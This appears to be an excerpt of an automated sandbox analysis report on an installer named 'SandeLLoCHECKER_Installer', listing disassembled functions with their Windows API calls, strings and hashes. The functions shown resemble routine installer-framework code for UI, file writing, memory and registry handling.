Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: AddressDefaultLangProc$LibraryLoadSystemUser
String ID: GetSystemDefaultUILanguage$GetUserDefaultUILanguage$kernel32.dll
API String ID: 667524283-3528650308
Opcode ID: 9af9e357018a248aa2ce335dc426b4cb436f5da990a122bb4f33ee574661c38c
Instruction ID: 10982553e045b81d5bd12cd69f09a2e1dd9686d5e55cfc6d91c72610082c7ea8
Opcode Fuzzy Hash: 9af9e357018a248aa2ce335dc426b4cb436f5da990a122bb4f33ee574661c38c
Instruction Fuzzy Hash: 2A41AA306043119FEB54EF28E85467AB7E6EBE8310F91092EE885C32A0EB74C945CB52

Function 00A19B10 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00A19B47
___except_validate_context_record.LIBVCRUNTIME ref: 00A19B4F
_ValidateLocalCookies.LIBCMT ref: 00A19BD8
__IsNonwritableInCurrentImage.LIBCMT ref: 00A19C03
_ValidateLocalCookies.LIBCMT ref: 00A19C58
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00A19C6E
___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00A19C83

Strings

csm, xrefs: 00A19BED

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record___vcrt_initialize_locks___vcrt_uninitialize_locks
String ID: csm
API String ID: 1385549066-1018135373
Opcode ID: 1cb5935ef1444a89d5eb9b41420ca1629b450ee9766e16e7771cb8fd7c3fc9bf
Instruction ID: 5410baf36072f518d7e30f43e32e0709114073d17c7929d1cb76c9d7e61a4419
Opcode Fuzzy Hash: 1cb5935ef1444a89d5eb9b41420ca1629b450ee9766e16e7771cb8fd7c3fc9bf
Instruction Fuzzy Hash: E3410234A082189FCF10DF68D9A0AEFBBF5EF45324F148095E8195B392C7319A86CB91

Function 009475F0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 248fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000), ref: 009476DF
CloseHandle.KERNEL32(00000000), ref: 00947707
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?), ref: 00947749
CloseHandle.KERNEL32(?), ref: 0094779E

Strings

EXE, xrefs: 00947643
.bat, xrefs: 0094763E
open, xrefs: 009477C8

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CloseFileHandle$CreateWrite
String ID: .bat$EXE$open
API String ID: 3602564925-2898749727
Opcode ID: a6e915b4c43f8d5c5a3034318a34fe4dd6ea1688ac0afe659f4d758e0c9516c3
Instruction ID: 3425076443a922360f14fb525d7bf18854bc8418eb3e03225e4eab9457396e61
Opcode Fuzzy Hash: a6e915b4c43f8d5c5a3034318a34fe4dd6ea1688ac0afe659f4d758e0c9516c3
Instruction Fuzzy Hash: 60A17970905648EFEB10CFA8CD48B9DFBB8FF45314F2482A9E415AB291DB709D05CB61

Function 008598C0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 151threadCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000E,C7BA013E,?,?,00000000,?), ref: 008598FE
GetCurrentThreadId.KERNEL32 ref: 0085993F
EnterCriticalSection.KERNEL32(00B3683C), ref: 0085995F
LeaveCriticalSection.KERNEL32(00B3683C), ref: 00859983
CreateWindowExW.USER32(00000000,00000000,00000000,00B3683C,?,80000000,00000000,80000000,00000000,00000000,00000000), ref: 008599DE

Part of subcall function 00A15943: GetProcessHeap.KERNEL32(00000008,00000008,00000000,0098AB8E,?,?,?,?,?,?), ref: 00A15948
Part of subcall function 00A15943: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?), ref: 00A1594F

Strings

v, xrefs: 00859983
AXWIN UI Window, xrefs: 00859A55

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CriticalHeapSection$AllocCreateCurrentEnterErrorLastLeaveProcessThreadWindow
String ID: v$AXWIN UI Window
API String ID: 213679520-2690018532
Opcode ID: bdf6564f0da66db85bb72128a13a6628557f8abedd3e2421bd126cb813e1b56f
Instruction ID: 9646f773b2b00547a95c6771f2a9ec2d6d745d74565c2edc3100420b8858ce4d
Opcode Fuzzy Hash: bdf6564f0da66db85bb72128a13a6628557f8abedd3e2421bd126cb813e1b56f
Instruction Fuzzy Hash: 0A51C335A00205EFDB10CF68DD05B9ABBF8FB88715F10816AFD44E7290E771A915CBA1

Function 0085D910 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 150fileCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0085D9FF

Part of subcall function 00A16258: EnterCriticalSection.KERNEL32(00B2FE4C,?,?,0084ACF7,00B30A7C,00A9D9D0), ref: 00A16262
Part of subcall function 00A16258: LeaveCriticalSection.KERNEL32(00B2FE4C,?,0084ACF7,00B30A7C,00A9D9D0), ref: 00A16295
Part of subcall function 00A16258: RtlWakeAllConditionVariable.NTDLL ref: 00A1630C

CreateFileW.KERNEL32(00000000,40000000,00000001,00000000,00000002,00000080,00000000,?,C7BA0140), ref: 0085DA53
CloseHandle.KERNEL32(00000000), ref: 0085DAB0

Part of subcall function 00A162A2: EnterCriticalSection.KERNEL32(00B2FE4C,?,?,?,0084AC86,00B30A7C,C7BA013E,?,?,00A3E40D,000000FF,?,00985F11), ref: 00A162AD
Part of subcall function 00A162A2: LeaveCriticalSection.KERNEL32(00B2FE4C,?,?,?,0084AC86,00B30A7C,C7BA013E,?,?,00A3E40D,000000FF,?,00985F11), ref: 00A162EA

WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 0085DB17
CloseHandle.KERNEL32(00000000,00A1301E), ref: 0085DB3D

Strings

aix, xrefs: 0085DA11
html, xrefs: 0085DA0C

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CriticalSection$CloseEnterFileHandleLeave$ConditionCreateInit_thread_footerVariableWakeWrite
String ID: aix$html
API String ID: 2030708724-2369804267
Opcode ID: 1c0a66484ed02fcf9ba498d76665ef97920b121f28a1ca38f97fd4f3125f1317
Instruction ID: f16c684a1dd2d186544fa1c7385b4a363cf9574744db98c627f247a583c2d0aa
Opcode Fuzzy Hash: 1c0a66484ed02fcf9ba498d76665ef97920b121f28a1ca38f97fd4f3125f1317
Instruction Fuzzy Hash: 6261C2B0900348EFDB10DFA4CD49B9EBBF4FB59708F24811EE401AB291DBB56949CB61

Function 008426E0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 135COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00B3150C,00000000,C7BA013E,00000000,00A7B2C3,000000FF,?,C7BA013E), ref: 00842853
GetLastError.KERNEL32(?,C7BA013E), ref: 0084285D

Strings

VolumeCostAvailable, xrefs: 00842720
VolumeCostRequired, xrefs: 00842729
VolumeCostVolume, xrefs: 0084270D, 008427C5
VolumeCostSize, xrefs: 00842717
VolumeCostDifference, xrefs: 00842733

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpin
String ID: VolumeCostAvailable$VolumeCostDifference$VolumeCostRequired$VolumeCostSize$VolumeCostVolume
API String ID: 439134102-34576578
Opcode ID: 01454217ac514709648c379aeb1fad8a72fa72df8ef65717e121f52abe53a413
Instruction ID: e76bff7fdebc2613f29d42690051e94319eef1df8a443582d0d3a037a68533ea
Opcode Fuzzy Hash: 01454217ac514709648c379aeb1fad8a72fa72df8ef65717e121f52abe53a413
Instruction Fuzzy Hash: 2251D1B1904209DBCB00CFA8DD05BDEBBF8FB48324F204A69E815E7391EB7599048F91

Function 00860A60 Relevance: 12.3, APIs: 8, Instructions: 337COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00860AB4
GetWindowRect.USER32(?,?), ref: 00860B93
GetClientRect.USER32(?,?), ref: 00860BA5
GetWindowDC.USER32(?), ref: 00860BB7

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: RectWindow$Client
String ID:
API String ID: 3228027793-0
Opcode ID: 15eb5c6abac51fff40137602ea3b44a2afb72497d976b5546d9c18dbced40d1a
Instruction ID: f92a6dd29f12606a75452499156c1ebc42ee1282b4a190b494b05d47af55ebb9
Opcode Fuzzy Hash: 15eb5c6abac51fff40137602ea3b44a2afb72497d976b5546d9c18dbced40d1a
Instruction Fuzzy Hash: 96E10771D01219AFDB21CFA8C944BAEBBF8FF09710F254269E809E7251DB706A45CF51

Function 0093F260 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 74libraryloaderwindowCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0093F2F0

Part of subcall function 00A16258: EnterCriticalSection.KERNEL32(00B2FE4C,?,?,0084ACF7,00B30A7C,00A9D9D0), ref: 00A16262
Part of subcall function 00A16258: LeaveCriticalSection.KERNEL32(00B2FE4C,?,0084ACF7,00B30A7C,00A9D9D0), ref: 00A16295
Part of subcall function 00A16258: RtlWakeAllConditionVariable.NTDLL ref: 00A1630C

GetProcAddress.KERNEL32(SetWindowTheme), ref: 0093F32D
__Init_thread_footer.LIBCMT ref: 0093F344
SendMessageW.USER32(000000EF,00001036,00010000,00010000), ref: 0093F36F

Part of subcall function 00A162A2: EnterCriticalSection.KERNEL32(00B2FE4C,?,?,?,0084AC86,00B30A7C,C7BA013E,?,?,00A3E40D,000000FF,?,00985F11), ref: 00A162AD
Part of subcall function 00A162A2: LeaveCriticalSection.KERNEL32(00B2FE4C,?,?,?,0084AC86,00B30A7C,C7BA013E,?,?,00A3E40D,000000FF,?,00985F11), ref: 00A162EA

Part of subcall function 0091D900: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 0091D941

Strings

explorer, xrefs: 0093F357
SetWindowTheme, xrefs: 0093F322
UxTheme.dll, xrefs: 0093F2C1

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CriticalSection$EnterInit_thread_footerLeave$AddressConditionDirectoryMessageProcSendSystemVariableWake
String ID: SetWindowTheme$UxTheme.dll$explorer
API String ID: 3410024541-3123591815
Opcode ID: 4b38a4faa2e6c0f73842c2cafedc28109f7739c364e5e2c05f138cddd9c6276a
Instruction ID: 88669d7367ee2f9dd1ca49508a35aa7c0fab2d15d19592134aba0e4b9ced6a9f
Opcode Fuzzy Hash: 4b38a4faa2e6c0f73842c2cafedc28109f7739c364e5e2c05f138cddd9c6276a
Instruction Fuzzy Hash: F8218071A80600FBCB21DF54DD13B8EF7A8EB15B20F208225E924D72E1EBB5A9408F51

Function 0093F030 Relevance: 12.2, APIs: 8, Instructions: 155windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001036,00010000,00000000), ref: 0093F09B
GetParent.USER32(00000000), ref: 0093F0EE
GetWindowRect.USER32(00000000), ref: 0093F0F1
GetParent.USER32(00000000), ref: 0093F100
GetDC.USER32(00000000), ref: 0093F103

Part of subcall function 008F8E20: GetWindowRect.USER32(?,?), ref: 008F8EB2
Part of subcall function 008F8E20: GetWindowRect.USER32(?,?), ref: 008F8ECA

DeleteDC.GDI32(?), ref: 0093F1CC
SendMessageW.USER32(?,00001026,00000000,000000FF), ref: 0093F1F0
SendMessageW.USER32(?,0000108A,00000000,00000011), ref: 0093F203

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: MessageRectSendWindow$Parent$Delete
String ID:
API String ID: 3294981445-0
Opcode ID: b59875d7eddb577bb8e4261e1d26bc18fa73ada8190c19fa0f7f7c9649a1a207
Instruction ID: 6cb265b0d5bd92ced01a5020f167020f9a5885cb6659d70dea6b5102e9815eac
Opcode Fuzzy Hash: b59875d7eddb577bb8e4261e1d26bc18fa73ada8190c19fa0f7f7c9649a1a207
Instruction Fuzzy Hash: 2F513B71D00649ABDB21DFA8CD45BEEBBF8EF59710F10432AE815A7291EB706981CB50

Function 008608C0 Relevance: 12.1, APIs: 8, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 008608EA
GetWindow.USER32(?,00000005), ref: 008608F7
GetWindow.USER32(00000000,00000002), ref: 00860A32

Part of subcall function 00860740: GetWindowRect.USER32(?,?), ref: 0086076C
Part of subcall function 00860740: GetWindowRect.USER32(?,?), ref: 0086077C

GetWindowRect.USER32(?,?), ref: 0086098B
GetWindowRect.USER32(00000000,?), ref: 0086099B
GetWindowRect.USER32(00000000,?), ref: 008609B5

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Window$Rect
String ID:
API String ID: 3200805268-0
Opcode ID: fe17241d51a167f3a572a68278d17129317909f45c1300c724fda4f964eb7a3d
Instruction ID: 59d4c96a6ef723f9a5de68ef33fd14ec15273b47cd864dc7109eed01b6263fa6
Opcode Fuzzy Hash: fe17241d51a167f3a572a68278d17129317909f45c1300c724fda4f964eb7a3d
Instruction Fuzzy Hash: 8741A8315087019BC721DB29C980E6BFBEAFF96704F554A2DF085C3521EB30E988CB52

Function 00A157E1 Relevance: 12.1, APIs: 8, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,00A1598B,?,?,?,?,?,?,?), ref: 00A15805
HeapAlloc.KERNEL32(00000000,?,00A1598B,?,?,?,?,?,?,?), ref: 00A1580C

Part of subcall function 00A158D7: IsProcessorFeaturePresent.KERNEL32(0000000C,00A157F3,00000000,?,00A1598B,?,?,?,?,?,?,?), ref: 00A158D9

InterlockedPopEntrySList.KERNEL32(00000000,00000000,?,00A1598B,?,?,?,?,?,?,?), ref: 00A1581C
VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00A1598B,?,?,?,?,?,?,?), ref: 00A15843
RaiseException.KERNEL32(C0000017,00000000,00000000,00000000,?,00A1598B,?,?,?,?,?,?,?), ref: 00A15857
InterlockedPopEntrySList.KERNEL32(00000000,?,00A1598B,?,?,?,?,?,?,?), ref: 00A1586A
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00A1598B,?,?,?,?,?,?,?), ref: 00A1587D

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: AllocEntryHeapInterlockedListVirtual$ExceptionFeatureFreePresentProcessProcessorRaise
String ID:
API String ID: 2460949444-0
Opcode ID: a1b7fef9519f2df2a711ebb60fc03022808597c182037995dbeeb5f246281cf3
Instruction ID: 8589b61c7127e17281f4e9e559686aa49a2610b6dcbaecdbc745c128214e8d4e
Opcode Fuzzy Hash: a1b7fef9519f2df2a711ebb60fc03022808597c182037995dbeeb5f246281cf3
Instruction Fuzzy Hash: 52119075F01A12EFD7219BB8DD48FE6766DEB84781F240431F902E6251DE60DC42A7A0

Function 00964070 Relevance: 10.9, APIs: 7, Instructions: 414fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,C7BA013E), ref: 009641B9
ReadFile.KERNEL32(00000000,00000000,00001000,?,00000000,00001000), ref: 0096422B
ReadFile.KERNEL32(?,00000000,00001000,00000000,00000000,?,?,00000000), ref: 009644CC
CloseHandle.KERNEL32(?), ref: 0096452A

Part of subcall function 00964070: LoadStringW.USER32(000000A1,?,00000514,C7BA013E), ref: 00963FD6

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: File$Init_thread_footerRead$CloseCreateHandleHeapLoadProcessString
String ID:
API String ID: 1714711150-0
Opcode ID: 46a2cace4567d44e8fb53c0c0036cdeb24037f835d80b69de3dcea9becb74093
Instruction ID: 9a15b35ac4aec85adc25f2301678716c42d0c24e87207609d7e94dec356eef67
Opcode Fuzzy Hash: 46a2cace4567d44e8fb53c0c0036cdeb24037f835d80b69de3dcea9becb74093
Instruction Fuzzy Hash: EEF19F71E00308DBDF10DFA8C949BAEBBB9FF45714F24821DE415AB291DB74AA44CB91

Function 009117C0 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 342COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00911A65
SystemParametersInfoW.USER32(00000030,00000000,00B36A24,00000000), ref: 00911A9C
__Init_thread_footer.LIBCMT ref: 00911B31

Strings

Dialog, xrefs: 009118DC
`Dialog` = ', xrefs: 00911891
AI_FRAME_NO_CAPTION_, xrefs: 00911815

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Init_thread_footer$InfoParametersSystem
String ID: AI_FRAME_NO_CAPTION_$Dialog$`Dialog` = '
API String ID: 3910108132-2270296660
Opcode ID: ab9075fa6a8306dca4b48a4bba5a4f95e281e7fb039604146226e4eefc11c158
Instruction ID: 6af0b7656493e34e167b9c4ed0d862205098d643e1d5d35be711543e66a2e580
Opcode Fuzzy Hash: ab9075fa6a8306dca4b48a4bba5a4f95e281e7fb039604146226e4eefc11c158
Instruction Fuzzy Hash: 67D1AC71A10608EFCB14CF78DD85B9EBBB5FF58310F24C22AE915A7291DB70A944CB91

Function 0085DB80 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 285registryCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000000,00000000,Caphyon.AI.ExtUI.IEClickSoundRemover,C7BA013E), ref: 0085DC21
GetLastError.KERNEL32 ref: 0085DC4A
RegCloseKey.ADVAPI32(?,00AAA29C,00000000,00AAA29C,00000000,?,80000001,00000001,00000000,AppEvents\Schemes\Apps\Explorer\Navigating\.Current,00000033), ref: 0085DEBE
CloseHandle.KERNEL32(?,C7BA013E,?,?,00000000,00A4297D,000000FF,?,00AAA29C,00000000,00AAA29C,00000000,?,80000001,00000001,00000000), ref: 0085DF4E

Strings

Caphyon.AI.ExtUI.IEClickSoundRemover, xrefs: 0085DC16
AppEvents\Schemes\Apps\Explorer\Navigating\.Current, xrefs: 0085DC82

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Close$CreateErrorEventHandleLast
String ID: AppEvents\Schemes\Apps\Explorer\Navigating\.Current$Caphyon.AI.ExtUI.IEClickSoundRemover
API String ID: 1253123496-2079760225
Opcode ID: b8680bf1782f81469a8de5261fe22172b7ed8bcaf10c6c2839914bc550580391
Instruction ID: 36dd54a0eaa11fe03a37011b279d9b3f4c916c985d9c548e66d0c6f25a07cc2b
Opcode Fuzzy Hash: b8680bf1782f81469a8de5261fe22172b7ed8bcaf10c6c2839914bc550580391
Instruction Fuzzy Hash: FAC1AD70D00348DFDB24CF68C949BAEBBB5FF55301F14829DE859A7281DB746A88CB51

